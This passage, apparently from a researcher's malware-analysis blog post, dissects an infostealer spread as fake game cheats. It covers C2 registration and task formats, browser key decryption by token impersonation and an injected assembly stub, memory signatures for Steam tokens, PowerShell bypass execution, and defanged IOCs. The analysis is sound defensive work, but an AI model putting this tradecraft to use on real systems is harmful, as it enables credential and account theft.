<p>If the value for <code class="language-plaintext highlighter-rouge">NtProductType</code> equals 2, the host is flagged as a domain controller. Additional OS property checks and available GPU hardware are queried and enumerated through WMI, and included in the profile as well.</p>

<p>Before COM-based WMI interfaces can be used to query any information, the COM library must be initialized, and this is done by calling <code class="language-plaintext highlighter-rouge">CoInitialize</code>. COM security values for the process are now initialized with <code class="language-plaintext highlighter-rouge">CoInitializeSecurity</code> and the option <code class="language-plaintext highlighter-rouge">RPC_C_IMP_LEVEL_IMPERSONATE</code>, allowing WMI to impersonate the caller while servicing local queries.</p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/meccha-chameleon/comsecurityinit.png" alt="COMSecurityInit" /></p>

<p>Next, in order to interact with WMI services, <code class="language-plaintext highlighter-rouge">CoCreateInstance</code> is called to create an <code class="language-plaintext highlighter-rouge">IWbemLocator</code> instance, and <code class="language-plaintext highlighter-rouge">IWbemLocator::ConnectServer</code> is passed <code class="language-plaintext highlighter-rouge">ROOT\CIMV2</code>, which provides access to WMI through the <code class="language-plaintext highlighter-rouge">IWbemServices</code> interface.</p>

<p>The exposed <code class="language-plaintext highlighter-rouge">IWbemServices</code> interface is configured with the following options: <code class="language-plaintext highlighter-rouge">RPC_C_AUTHN_WINNT</code>, <code class="language-plaintext highlighter-rouge">RPC_C_AUTHN_LEVEL_CALL</code>, <code class="language-plaintext highlighter-rouge">RPC_C_IMP_LEVEL_IMPERSONATE</code>, and <code class="language-plaintext highlighter-rouge">EOAC_NONE</code> to adjust the authentication information that will be used during later queries, with <code class="language-plaintext highlighter-rouge">CoSetProxyBlanket</code>.</p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/meccha-chameleon/initwmi.png" alt="InitWMI" /></p>

<p>The first WMI query executed is <code class="language-plaintext highlighter-rouge">SELECT * FROM Win32_OperatingSystem</code>, by calling <code class="language-plaintext highlighter-rouge">IWbemServices::ExecQuery</code>, and values for the fields <code class="language-plaintext highlighter-rouge">LocalDateTime</code>, <code class="language-plaintext highlighter-rouge">CurrentTimeZone</code>, <code class="language-plaintext highlighter-rouge">InstallDate</code>, and <code class="language-plaintext highlighter-rouge">Caption</code> are retrieved one by one with <code class="language-plaintext highlighter-rouge">IEnumWbemClassObject::Next</code> and <code class="language-plaintext highlighter-rouge">IWbemClassObject::Get</code>, and included in the <code class="language-plaintext highlighter-rouge">Info.yml</code> profile.</p>

<p>The next WMI query executed is <code class="language-plaintext highlighter-rouge">SELECT * FROM Win32_VideoController</code>, and the value for each GPU <code class="language-plaintext highlighter-rouge">Name</code> field is retrieved and included in the profile. Next, the NetBIOS name and active user for the host are queried using <code class="language-plaintext highlighter-rouge">GetComputerNameA</code> and <code class="language-plaintext highlighter-rouge">GetUserNameA</code>, and the values are also stored in the profile.</p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/meccha-chameleon/getcompname.png" alt="GetCompName" /></p>

<p>In addition to the previous NetBIOS name collection with <code class="language-plaintext highlighter-rouge">GetComputerNameA</code>, <code class="language-plaintext highlighter-rouge">GetComputerNameExA</code> is also called several times to retrieve the values for the fields <code class="language-plaintext highlighter-rouge">ComputerNamePhysicalNetBIOS</code>, <code class="language-plaintext highlighter-rouge">ComputerNamePhysicalDnsHostname</code>, and <code class="language-plaintext highlighter-rouge">ComputerNamePhysicalDnsDomain</code>. These values, which result in duplicate entries for the NetBIOS name and DNS hostname, are also included.</p>

<p>To collect information on installed security software, a second <code class="language-plaintext highlighter-rouge">IWbemLocator</code> interface is created, and is connected to the <code class="language-plaintext highlighter-rouge">ROOT\SecurityCenter2</code> namespace. The same security options for the previous WMI interfaces are applied, and the query <code class="language-plaintext highlighter-rouge">SELECT * FROM AntiVirusProduct</code> is executed. All installed products are included in the profile in addition to the previous data.</p>

<p>SMBIOS information on the host is enumerated by calling <code class="language-plaintext highlighter-rouge">NtQuerySystemInformation</code> and passing it <code class="language-plaintext highlighter-rouge">SystemFirmwareTableInformation</code>. The returned raw SMBIOS table is stripped of its 16-byte firmware-query header and 8-byte <code class="language-plaintext highlighter-rouge">RawSMBIOSData</code> header, resulting in the first SMBIOS structure.</p>

<p>The values for the following fields are extracted from the structure.</p>

<table>
  <thead>
    <tr>
      <th>Type</th>
      <th>Field Name</th>
      <th>Offset</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>1</td>
      <td>Manufacturer</td>
      <td>0x04</td>
    </tr>
    <tr>
      <td>1</td>
      <td>Product</td>
      <td>0x05</td>
    </tr>
    <tr>
      <td>1</td>
      <td>Serial</td>
      <td>0x07</td>
    </tr>
    <tr>
      <td>1</td>
      <td>UUID</td>
      <td>0x08</td>
    </tr>
    <tr>
      <td>4</td>
      <td>Manufacturer</td>
      <td>0x07</td>
    </tr>
    <tr>
      <td>4</td>
      <td>Version</td>
      <td>0x10</td>
    </tr>
    <tr>
      <td>4</td>
      <td>Core Count</td>
      <td>0x23</td>
    </tr>
    <tr>
      <td>4</td>
      <td>Core Enabled</td>
      <td>0x24</td>
    </tr>
    <tr>
      <td>4</td>
      <td>Thread Count</td>
      <td>0x25</td>
    </tr>
    <tr>
      <td>4</td>
      <td>Core Count 2</td>
      <td>0x2a</td>
    </tr>
    <tr>
      <td>4</td>
      <td>Core Enabled 2</td>
      <td>0x2c</td>
    </tr>
    <tr>
      <td>4</td>
      <td>Thread Count 2</td>
      <td>0x2e</td>
    </tr>
    <tr>
      <td>17</td>
      <td>Size</td>
      <td>0x0c</td>
    </tr>
    <tr>
      <td>17</td>
      <td>Part Number</td>
      <td>0x1a</td>
    </tr>
    <tr>
      <td>17</td>
      <td>Extended Size</td>
      <td>0x1c</td>
    </tr>
  </tbody>
</table>

<p>The values from the fields <code class="language-plaintext highlighter-rouge">Manufacturer</code>, <code class="language-plaintext highlighter-rouge">Product</code>, <code class="language-plaintext highlighter-rouge">UUID</code>, <code class="language-plaintext highlighter-rouge">Serial</code>, <code class="language-plaintext highlighter-rouge">Version</code>, and <code class="language-plaintext highlighter-rouge">Part Number</code> are all hashed using a seeded CRC32 helper function and the resulting data is transformed to create a lazy hardware identifier (HWID) that is sent during the initial host registration.</p>

<p>Next, primary display information is enumerated on the host by calling <code class="language-plaintext highlighter-rouge">EnumDisplaySettingsW</code> and passing <code class="language-plaintext highlighter-rouge">ENUM_CURRENT_SETTINGS</code>.</p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/meccha-chameleon/enumdisplay.png" alt="EnumDisplay" /></p>

<p>The current display dimensions from the fields <code class="language-plaintext highlighter-rouge">dmPelsWidth</code> and <code class="language-plaintext highlighter-rouge">dmPelsHeight</code> are converted to decimal and appended to the field <code class="language-plaintext highlighter-rouge">display: &lt;width&gt;x&lt;height&gt;</code>, which is included in the host profile data.</p>

<p>With initial collection finished, the main stealer host registration begins. To select a C2 server and respective endpoint, the previously initialized ChaCha20 context is first used to decrypt available C2 hosts from the embedded config data, resulting in the following options.</p>

<table>
  <thead>
    <tr>
      <th>C2 Server</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>hxxp[://]radioi[.]xyz:6329</td>
    </tr>
    <tr>
      <td>hxxp[://]myrtler[.]biz:9549</td>
    </tr>
    <tr>
      <td>hxxp[://]angect[.]xyz:7838</td>
    </tr>
  </tbody>
</table>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/meccha-chameleon/encrypteddomains.png" alt="EncryptedDomains" /></p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/meccha-chameleon/decrypteddomains.png" alt="DecryptedDomains" /></p>

<p>Each domain has a limit of five connection attempts before the next domain is selected and utilized instead. If all three domains exhaust connection attempts, an Ethereum JSON-RPC fallback is selected instead, using the contract <code class="language-plaintext highlighter-rouge">0x999941b74F6bbc921D5174A5b29911562cd2D7CF</code> on <code class="language-plaintext highlighter-rouge">https://ethereum-rpc.publicnode.com</code>. At the time of writing, the fallback domain recovered from the contract is <code class="language-plaintext highlighter-rouge">hxxp[://]fightwa[.]biz:5902</code>.</p>

<p>The initial host registration HTTP request body is crafted to contain the generated host HWID value, a fixed registration tag of <code class="language-plaintext highlighter-rouge">6ed07eee8b090ad8c77052912c8a29a6</code>, and a random decimal value derived from an MT19937 output. When concatenated, the body content is <code class="language-plaintext highlighter-rouge">tag=6ed07eee8b090ad8c77052912c8a29a6&amp;exp=&lt;decimal&gt;&amp;hwid=&lt;32-character-HWID&gt;</code>.</p>

<p>Using the first selected C2 server, the remaining request components are populated, with one notable decision to spoof the <code class="language-plaintext highlighter-rouge">Host</code> header with the domain <code class="language-plaintext highlighter-rouge">microsoft.com</code>, resulting in the following content.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>POST &lt;selected C2&gt;
Host: microsoft.com
Content-Type: application/x-www-form-urlencoded

tag=6ed07eee8b090ad8c77052912c8a29a6&amp;exp=&lt;decimal&gt;&amp;hwid=&lt;32-character-HWID&gt;
</code></pre></div></div>

<p>To initialize WinHTTP functions, <code class="language-plaintext highlighter-rouge">WinHttpOpen</code> is called and passed the user agent <code class="language-plaintext highlighter-rouge">Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36</code>. A connection handle is opened to the selected C2 host and port using <code class="language-plaintext highlighter-rouge">WinHttpConnect</code>, and a new request handle is created by calling <code class="language-plaintext highlighter-rouge">WinHttpOpenRequest</code> with the returned connection handle. The completed registration request is passed to <code class="language-plaintext highlighter-rouge">WinHttpSendRequest</code> and sent to the C2 server via HTTP POST.</p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/meccha-chameleon/sendrequest.png" alt="SendRequest" /></p>

<p>On successful response, the C2 server returns data containing a new ChaCha20 key, nonce, and encrypted data. The encrypted response, which is decrypted with a new ChaCha20 context, consists of a C2-issued access token, which is used for the host profile <code class="language-plaintext highlighter-rouge">Info.yml</code> upload, task polling, and eventual data exfiltration, and two optional dynamic options, <code class="language-plaintext highlighter-rouge">ss</code> and <code class="language-plaintext highlighter-rouge">vm</code>, which control screenshot functionality and hypervisor / VM detection.</p>

<p>Using the access token, the <code class="language-plaintext highlighter-rouge">Info.yml</code> host profile is sent through an HTTP POST request as LZ4 compressed and encrypted with a newly generated ChaCha20 key and nonce, both of which are included in the request. With the device registration completed, the stealer polls the C2 server for collection tasks, each acting independently of each other.</p>

<p>Stealer operators can issue file enumeration tasks from the C2 server, in which the stealer will locate the target root directories, walk each directory, and identify files matching a provided pattern mask, before collecting and packaging files for delivery.</p>

<p>File collection tasks utilize the following format and fields.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>{
    "type": 0,
    "name": "(logical root)",
    "data": {
      "(UTF-16LE physical root)": [
        {
          "path": "(UTF-16LE relative path)",
          "name": "(logical label)",
          "mask": ["(UTF-16LE wildcard)"],
          "depth": 2,
          "link": true,
          "size": 0
        }
      ]
    }
  } 
</code></pre></div></div>

<p>For each provided directory, the directory is opened using <code class="language-plaintext highlighter-rouge">NtCreateFile</code>, entries are enumerated using <code class="language-plaintext highlighter-rouge">NtQueryDirectoryFile</code>, and discovered files are matched against filename and pattern criteria. Matching files are read via <code class="language-plaintext highlighter-rouge">NtReadFile</code> and appended to a buffer along with the data length.</p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/meccha-chameleon/readfile.png" alt="ReadFile" /></p>

<p>A newly generated ChaCha20 key and nonce are used to encrypt the packaged files, which are then sent to the C2 server using the existing access token, along with the new key and nonce.</p>

<p>In addition to file collection tasks, operators can issue tasks to enumerate and collect data from specified registry keys, with the issued registry collection tasks utilizing the following format and fields.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  {
    "type": 2,
    "data": [
      {
        "path": "(UTF-16LE registry key path)",
        "value": "(UTF-16LE value name)",
        "name": "(raw output label)"
      }
    ]
  } 
</code></pre></div></div>

<p>For each requested key, a handle is opened using <code class="language-plaintext highlighter-rouge">NtOpenKeyEx</code>, and the required buffer size, <code class="language-plaintext highlighter-rouge">MaxValueNameLen</code>, and <code class="language-plaintext highlighter-rouge">MaxValueDataLen</code> values are obtained by calling <code class="language-plaintext highlighter-rouge">NtQueryKey</code>. Key data is retrieved by calling <code class="language-plaintext highlighter-rouge">NtQueryValueKey</code>, which is appended to a buffer along with the data length. The resulting data is then encrypted with a newly generated ChaCha20 key and nonce, which are both included with the request to the C2 server.</p>

<p>Operators can also issue tasks to collect browser and extension data from Chromium-family browsers, with two notable examples being the Opera and Opera GX browsers.</p>

<p>The <code class="language-plaintext highlighter-rouge">Local State</code> file from the path <code class="language-plaintext highlighter-rouge">&lt;user&gt;\AppData\Roaming\&lt;vendor&gt;\&lt;browser&gt;\Local State</code> is opened and read using <code class="language-plaintext highlighter-rouge">NtCreateFile</code> and <code class="language-plaintext highlighter-rouge">NtReadFile</code>, and the <code class="language-plaintext highlighter-rouge">os_crypt</code> field is parsed out so that the <code class="language-plaintext highlighter-rouge">encrypted_key</code> value can be extracted. The value is then Base64-decoded, and the DPAPI prefix is removed. The remaining key data is decrypted by calling <code class="language-plaintext highlighter-rouge">CryptUnprotectData</code> from <code class="language-plaintext highlighter-rouge">crypt32.dll</code> in the context of the victim user. The resulting key data can decrypt AES-GCM-protected data, including saved passwords from <code class="language-plaintext highlighter-rouge">Login Data</code>, authentication / session cookies from <code class="language-plaintext highlighter-rouge">Network\Cookies</code>, protected payment info from <code class="language-plaintext highlighter-rouge">Web Data</code>, and other browser secrets under the profile.</p>

<p>For newer browsers using app-bound encryption, the <code class="language-plaintext highlighter-rouge">app_bound_encrypted_key</code> value is read from the <code class="language-plaintext highlighter-rouge">os_crypt</code> field in the <code class="language-plaintext highlighter-rouge">Local State</code> file and Base64-decoded. The 4-byte APPB prefix used to distinguish ABE keys from legacy DPAPI keys is then removed. Running processes on the host are enumerated to locate a local SYSTEM process whose token contains <code class="language-plaintext highlighter-rouge">SeImpersonatePrivilege</code>. Once a suitable process is found, the token is duplicated, applied to the stealer’s current thread with <code class="language-plaintext highlighter-rouge">NtSetInformationThread</code>, and <code class="language-plaintext highlighter-rouge">CryptUnprotectData</code> is called to remove DPAPI protections.</p>

<p>For newer CNG-backed key structures, <code class="language-plaintext highlighter-rouge">ncrypt.dll</code> is loaded, and the Microsoft Software Key Storage Provider is accessed via <code class="language-plaintext highlighter-rouge">NCryptOpenStorageProvider</code>, and the <code class="language-plaintext highlighter-rouge">Google Chromekey1</code> key is read. The key material is decrypted using <code class="language-plaintext highlighter-rouge">NCryptDecrypt</code>, and the resulting key is stored as <code class="language-plaintext highlighter-rouge">AppKey</code> along with other Chromium data.</p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/meccha-chameleon/duplicatetoken.png" alt="DuplicateToken" /></p>

<p>As a fallback method, the stealer will attempt to recover the <code class="language-plaintext highlighter-rouge">AppKey</code> from a legitimate browser process. First, the stealer searches for an active browser process by image name to retrieve the PID, and opens a handle to the process with <code class="language-plaintext highlighter-rouge">NtOpenProcess</code> and the <code class="language-plaintext highlighter-rouge">DesiredAccess</code> value of <code class="language-plaintext highlighter-rouge">0x43a</code>, which provides the rights <code class="language-plaintext highlighter-rouge">PROCESS_CREATE_THREAD</code>, <code class="language-plaintext highlighter-rouge">PROCESS_VM_OPERATION</code>, <code class="language-plaintext highlighter-rouge">PROCESS_VM_READ</code>, <code class="language-plaintext highlighter-rouge">PROCESS_VM_WRITE</code>, and <code class="language-plaintext highlighter-rouge">PROCESS_QUERY_INFORMATION</code>.</p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/meccha-chameleon/openprocess.png" alt="OpenProcess" /></p>

<p>Next, the PEB loader entries of the browser process are walked with <code class="language-plaintext highlighter-rouge">NtReadVirtualMemory</code>, and once <code class="language-plaintext highlighter-rouge">dpapi.dll</code> is located, <code class="language-plaintext highlighter-rouge">CryptUnprotectMemory</code> is resolved. The module matching the C2-configured browser library is then pattern scanned for the signature <code class="language-plaintext highlighter-rouge">48 8D 05 ?? ?? ?? ?? 48 89 01 48 8B 02 48 89 41 ?? 48 8D 41 ?? 48 8B 4A ?? 48 89 4E ?? 48 8B 52 ?? 48 89 56 ?? 48 85 D2 0F 84</code>. The matching address is used as a marker, which will be used to locate the <code class="language-plaintext highlighter-rouge">v20</code> ABE key, and the key bounds at <code class="language-plaintext highlighter-rouge">+0x40</code> and <code class="language-plaintext highlighter-rouge">+0x48</code> from the location of the <code class="language-plaintext highlighter-rouge">v20</code> key. To read the key in a protected state, the stealer first allocates an <code class="language-plaintext highlighter-rouge">RW</code> output buffer with <code class="language-plaintext highlighter-rouge">NtAllocateVirtualMemory</code>. Next, a stub to call <code class="language-plaintext highlighter-rouge">CryptUnprotectMemory</code> is constructed with the following code, which is used in the context of the browser process, as the stealer cannot decrypt browser memory from its own process.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>mov rsi, source; 
mov rdi, output; 
mov edx, size; 
mov rbx, rdi; 
mov rcx, rdx; 
rep movsb; 
mov rcx, rbx; 
xor r8d, r8d; 
mov rax, CryptUnprotectMemory; 
jmp rax
</code></pre></div></div>

<p>The stub is written into newly allocated <code class="language-plaintext highlighter-rouge">RWX</code> memory with <code class="language-plaintext highlighter-rouge">NtWriteVirtualMemory</code>, and is executed with <code class="language-plaintext highlighter-rouge">NtCreateThreadEx</code>. The recovered key is read using <code class="language-plaintext highlighter-rouge">NtReadVirtualMemory</code> and stored as <code class="language-plaintext highlighter-rouge">AppKey</code> along with other Chromium data.</p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/meccha-chameleon/readkey.png" alt="ReadKey" /></p>

<p>In addition to the ABE or DPAPI keys, the <code class="language-plaintext highlighter-rouge">Login Data</code>, <code class="language-plaintext highlighter-rouge">Login Data For Account</code>, <code class="language-plaintext highlighter-rouge">Web Data</code>, <code class="language-plaintext highlighter-rouge">History</code>, and <code class="language-plaintext highlighter-rouge">Cookies</code> raw Chromium SQLite databases are read and packaged with the Chromium data.</p>

<p>For extensions, the stealer reads the settings in <code class="language-plaintext highlighter-rouge">Local Extension Settings\&lt;id&gt;</code>, associated data in <code class="language-plaintext highlighter-rouge">IndexedDB\chrome-extension_&lt;id&gt;_0.indexeddb.leveldb</code>, and any syncing configurations in <code class="language-plaintext highlighter-rouge">Sync Extension Settings\&lt;id&gt;</code> for each extension ID specified in the task from the operators.</p>

<p>The total bundle is LZ4 compressed and encrypted with another newly generated ChaCha20 key and nonce, which are both included with the bundle on upload to the C2 server, allowing the operators to decrypt the collected Chromium data.</p>

<p>Data from Gecko-family browsers, such as Firefox, are also targeted for collection. To locate the active user Firefox profile, the stealer locates any profile folders, with the following path as an example: <code class="language-plaintext highlighter-rouge">&lt;user&gt;\AppData\Roaming\Mozilla\Firefox\Profiles\&lt;prefix&gt;.default-release-&lt;id&gt;</code>, and searches for a <code class="language-plaintext highlighter-rouge">key4.db</code> file, which contains NSS key material. Compared to the Chromium data collection, Firefox collection uses a smash-and-grab approach, without the involvement of DPAPI or ABE, and simply locates the files <code class="language-plaintext highlighter-rouge">cert9.db</code>, <code class="language-plaintext highlighter-rouge">cookies.sqlite</code>, <code class="language-plaintext highlighter-rouge">logins.json</code>, <code class="language-plaintext highlighter-rouge">formhistory.sqlite</code>, <code class="language-plaintext highlighter-rouge">places.sqlite</code>, and packages them up in addition to the <code class="language-plaintext highlighter-rouge">key4.db</code> file. For extensions, the Firefox <code class="language-plaintext highlighter-rouge">prefs.js</code> file is read to identify extension IDs and map them to UUIDs, and files inside the <code class="language-plaintext highlighter-rouge">idb</code> folder of each extension are collected, with the following path as an example: <code class="language-plaintext highlighter-rouge">&lt;user&gt;\AppData\Roaming\Mozilla\Firefox\Profiles\&lt;prefix&gt;.default-release-&lt;id&gt;\storage\default\moz-extension+++&lt;uuid&gt;</code>.</p>

<p>The resulting bundle is once again LZ4 compressed, encrypted, and uploaded to the C2 server with a newly generated ChaCha20 key and nonce.</p>

<p>Installed software on the host is discovered through enumeration of the <code class="language-plaintext highlighter-rouge">Uninstall</code> key located in the registry at <code class="language-plaintext highlighter-rouge">\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall</code> with <code class="language-plaintext highlighter-rouge">NtEnumerateKey</code>. Each subkey is opened, and the <code class="language-plaintext highlighter-rouge">DisplayName</code> is read using <code class="language-plaintext highlighter-rouge">NtQueryValueKey</code> and stored in a <code class="language-plaintext highlighter-rouge">Software.txt</code> buffer, which is included in the primary collection bundle.</p>

<p>Running processes on the host are enumerated by calling <code class="language-plaintext highlighter-rouge">NtQuerySystemInformation</code> with <code class="language-plaintext highlighter-rouge">SystemProcessInformation</code>, and reading the <code class="language-plaintext highlighter-rouge">ImageName</code> value for each returned <code class="language-plaintext highlighter-rouge">SYSTEM_PROCESS_INFORMATION</code> entry. The process list is stored in a <code class="language-plaintext highlighter-rouge">Processes.txt</code> buffer, which is also included in the primary collection bundle.</p>

<p>Given that the target audience of the campaign is people playing games (and looking for cheats), it is unsurprising that credential material for Roblox is targeted as well. The cookie file <code class="language-plaintext highlighter-rouge">RobloxCookies.dat</code> is read from <code class="language-plaintext highlighter-rouge">&lt;user&gt;\AppData\Local\Roblox\LocalStorage\RobloxCookies.dat</code> and the key <code class="language-plaintext highlighter-rouge">CookiesData</code> is located within the file. The value associated with the key is protected using DPAPI and is Base64-encoded. To completely recover the cookie, the data is Base64-decoded, and if <code class="language-plaintext highlighter-rouge">crypt32.dll</code> is already loaded, <code class="language-plaintext highlighter-rouge">CryptUnprotectData</code> is called to remove DPAPI protection on the cookie data. If <code class="language-plaintext highlighter-rouge">crypt32.dll</code> was not previously loaded, the stealer loads it with <code class="language-plaintext highlighter-rouge">LoadLibraryExW</code>, and subsequently removes the DPAPI protections from the cookie data. The cookie data is packaged up along with the other data as a <code class="language-plaintext highlighter-rouge">Cookies.txt</code> buffer.</p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/meccha-chameleon/unprotectdata.png" alt="UnprotectData" /></p>

<p>In addition to Roblox being targeted, Steam accounts are also targeted, and these accounts eventually end up in the hands of account marketplaces or resellers. Credential material for these accounts is collected using two methods: extracting tokens from running Steam processes, and extracting tokens from Steam configuration files.</p>

<p>For live token extraction, running Steam processes are discovered by once again calling <code class="language-plaintext highlighter-rouge">NtQuerySystemInformation</code>, and a handle is opened to the <code class="language-plaintext highlighter-rouge">steam.exe</code> process with <code class="language-plaintext highlighter-rouge">NtOpenProcess</code>. The virtual memory space for the process is queried with <code class="language-plaintext highlighter-rouge">NtQueryVirtualMemory</code>, and committed <code class="language-plaintext highlighter-rouge">R</code>, <code class="language-plaintext highlighter-rouge">RW</code>, <code class="language-plaintext highlighter-rouge">RX</code>, and <code class="language-plaintext highlighter-rouge">RWX</code> regions are copied with <code class="language-plaintext highlighter-rouge">NtReadVirtualMemory</code>. Copied regions are pattern scanned for the signature <code class="language-plaintext highlighter-rouge">65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30</code>, which is the equivalent of a JWT header that is Base64-encoded. For every match, <code class="language-plaintext highlighter-rouge">NtReadVirtualMemory</code> is called to read <code class="language-plaintext highlighter-rouge">0x400</code> bytes starting from the address, and the JWT <code class="language-plaintext highlighter-rouge">.</code> separators are located. The payload segment is Base64-decoded, and parsed as JSON to locate the <code class="language-plaintext highlighter-rouge">sub</code> value, which is responsible for associating a token with its subject account. The resulting data is packaged up with the other data as a <code class="language-plaintext highlighter-rouge">Tokens.txt</code> buffer.</p>

<p>For file-based token extraction, the Steam installation path is located by querying the <code class="language-plaintext highlighter-rouge">InstallPath</code> value from within the registry key <code class="language-plaintext highlighter-rouge">\REGISTRY\MACHINE\SOFTWARE\Valve\Steam</code> with <code class="language-plaintext highlighter-rouge">NtQueryValueKey</code>. From the installation path, the <code class="language-plaintext highlighter-rouge">config.vdf</code> file under <code class="language-plaintext highlighter-rouge">\config\</code> is opened and read to locate the <code class="language-plaintext highlighter-rouge">Accounts</code> object. The Steam account IDs under this object are required to identify the matching <code class="language-plaintext highlighter-rouge">ConnectCache</code> entry. The Steam <code class="language-plaintext highlighter-rouge">local.vdf</code> file stored within <code class="language-plaintext highlighter-rouge">&lt;user&gt;\AppData\Local\Steam</code> is opened and read to locate the <code class="language-plaintext highlighter-rouge">ConnectCache</code> object, and the DPAPI-protected authentication data. To decrypt the <code class="language-plaintext highlighter-rouge">ConnectCache</code> data, <code class="language-plaintext highlighter-rouge">CryptUnprotectData</code> is called and passed the encrypted <code class="language-plaintext highlighter-rouge">ConnectCache</code> data, and the Steam account ID. The resulting data is packaged up with the other data as a <code class="language-plaintext highlighter-rouge">Tokens.txt</code> buffer similar to the live extraction.</p>

<p>Active clipboard text is also captured with <code class="language-plaintext highlighter-rouge">GetClipboardData</code>, and included in the bundled data as a <code class="language-plaintext highlighter-rouge">Clipboard.txt</code> buffer. Optionally, depending on the configuration, the stealer will take a screenshot of the desktop using <code class="language-plaintext highlighter-rouge">BitBlt</code>, and include this in the bundle as <code class="language-plaintext highlighter-rouge">Screenshot.bmp</code>. The completed bundle is LZ4 compressed, encrypted, and uploaded to the C2 server along with the matching ChaCha20 key and nonce.</p>

<p>In addition to traditional stealer capabilities, there is support for remote command and payload execution, allowing for the deployment of other commodity malware or scripts.</p>

<p>Remote execution tasks use the following format and fields, with support for four main payload types, two main execution modes, and a third fallback mode.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  {
    "type": 5,
    "data": [
      {
        "type": 1,
        "mode": 0,
        "path": "%Temp%\\payload.dll",
        "fn": "ExportName",
        "arg": "optional argument",
        "url": "BASE64_OF_UTF8_URL"
      },
      {
        "type": 3,
        "mode": 1,
        "data": "BASE64_OF_INLINE_COMMAND"
      }
    ]
  }
</code></pre></div></div>

<p>When a remote payload URL is provided, the URL is Base64-decoded, converted to UTF-16, and the content is retrieved through a WinHTTP GET request. When payload bytes are provided directly, the content is first Base64-decoded, and depending on the mode, either executed as a command, loaded in-memory, or written to disk with <code class="language-plaintext highlighter-rouge">NtWriteFile</code> with the task-supplied file name and path, or written as a randomly named file in the user’s temporary directory. An extension is appended according to the payload type.</p>

<p>For the first mode with type 0, the delivered payload file is stored with a <code class="language-plaintext highlighter-rouge">.exe</code> extension and is executed from the temporary path using <code class="language-plaintext highlighter-rouge">CreateProcessW</code>. For the first mode with type 1, the delivered payload file is stored with a <code class="language-plaintext highlighter-rouge">.dll</code> extension and is executed by <code class="language-plaintext highlighter-rouge">rundll32</code> with the supplied export name and any arguments. For the first mode with type 2, the delivered payload file is stored with a <code class="language-plaintext highlighter-rouge">.ps1</code> extension, and is executed with the command <code class="language-plaintext highlighter-rouge">powershell -exec bypass -f</code>.</p>

<p>The second mode with type 2 executes the supplied decoded command text with the command <code class="language-plaintext highlighter-rouge">powershell -exec bypass &lt;command&gt;</code>. The second mode with type 3 executes the supplied command text with <code class="language-plaintext highlighter-rouge">CreateProcessW</code>.</p>

<p>The third mode acts as an in-memory PE loader, and executes the provided content on a newly created thread through <code class="language-plaintext highlighter-rouge">CreateThread</code>. The supplied payload content is checked for a <code class="language-plaintext highlighter-rouge">MZ</code> header, and if present, a memory region is allocated, headers and sections are copied, relocations are applied, imports are loaded, section protections are applied, any TLS callbacks are called, and either <code class="language-plaintext highlighter-rouge">DllMain</code> or the payload entry point is executed.</p>

<h2 id="extra">Extra</h2>

<p>During the first few days of writing this post, I shared the Telegram token and chat ID with my friend <a href="https://khaelkugler.com">Khael Kugler</a> (he found the original RCE in Meccha Chameleon via workshop maps), and he dumped every message and screenshot uploaded to the chat so it could be bundled up into a nice interactive report. The report only contained a day’s worth of data, as the campaign had only started the day prior (6/30), but despite that, there was data for over 280 hosts from all over the world. A large portion of the screenshots showcased users actively browsing for other game cheats, with some downloading similar fake cheats from similarly themed GitHub repos, likely infecting themselves with additional malware.</p>

<p><img src="https://raw.githubusercontent.com/t0asts/t0asts.github.io/refs/heads/main/_media/meccha-chameleon/teleimg.png" alt="TeleImg" /></p>

<p>I’m not going to cover the recent Meccha Chameleon maps delivering malware, the RCEs, or the Discord server being hijacked in this post, but I highly recommend you check these posts out for additional info.</p>

<p><a href="https://khaelkugler.com/blogs/meccha_chameleon.html">2-Click Remote Code Execution in Meccha Chameleon</a></p>

<p><a href="https://medium.com/@FeintBE/workshop-map-for-meccha-chameleon-is-a-malware-dropper-full-breakdown-d1ac29565265">Workshop map for MECCHA CHAMELEON is a malware dropper (full breakdown)</a></p>

<h2 id="iocs">IOCs</h2>

<p><strong>Files</strong><br />
NSIS Installer: d6e3b2919395f40c9fefc559a0fd6008086e712968618f0640f7308aeefeb1b9<br />
JS Dropper: 746302da25defeb897e49420eb3d79dfaed3139780a040b9535f63ca286da453<br />
Loader: b3428116a33d00c1564a49eeb034c269563204d39ac99ad7eebcb1293023c0b2<br />
Remus Stealer: 3e599aa7984d6c425834c570b770095709ece37fe269a0f7545138cad9d5867a</p>

<p><strong>Domains</strong><br />
radioi[.]xyz<br />
myrtler[.]biz<br />
angect[.]xyz<br />
fightwa[.]biz</p>

<h2 id="acknowledgment">Acknowledgment</h2>

<p>Feedback and corrections are welcome, please don’t hesitate to reach out!</p>

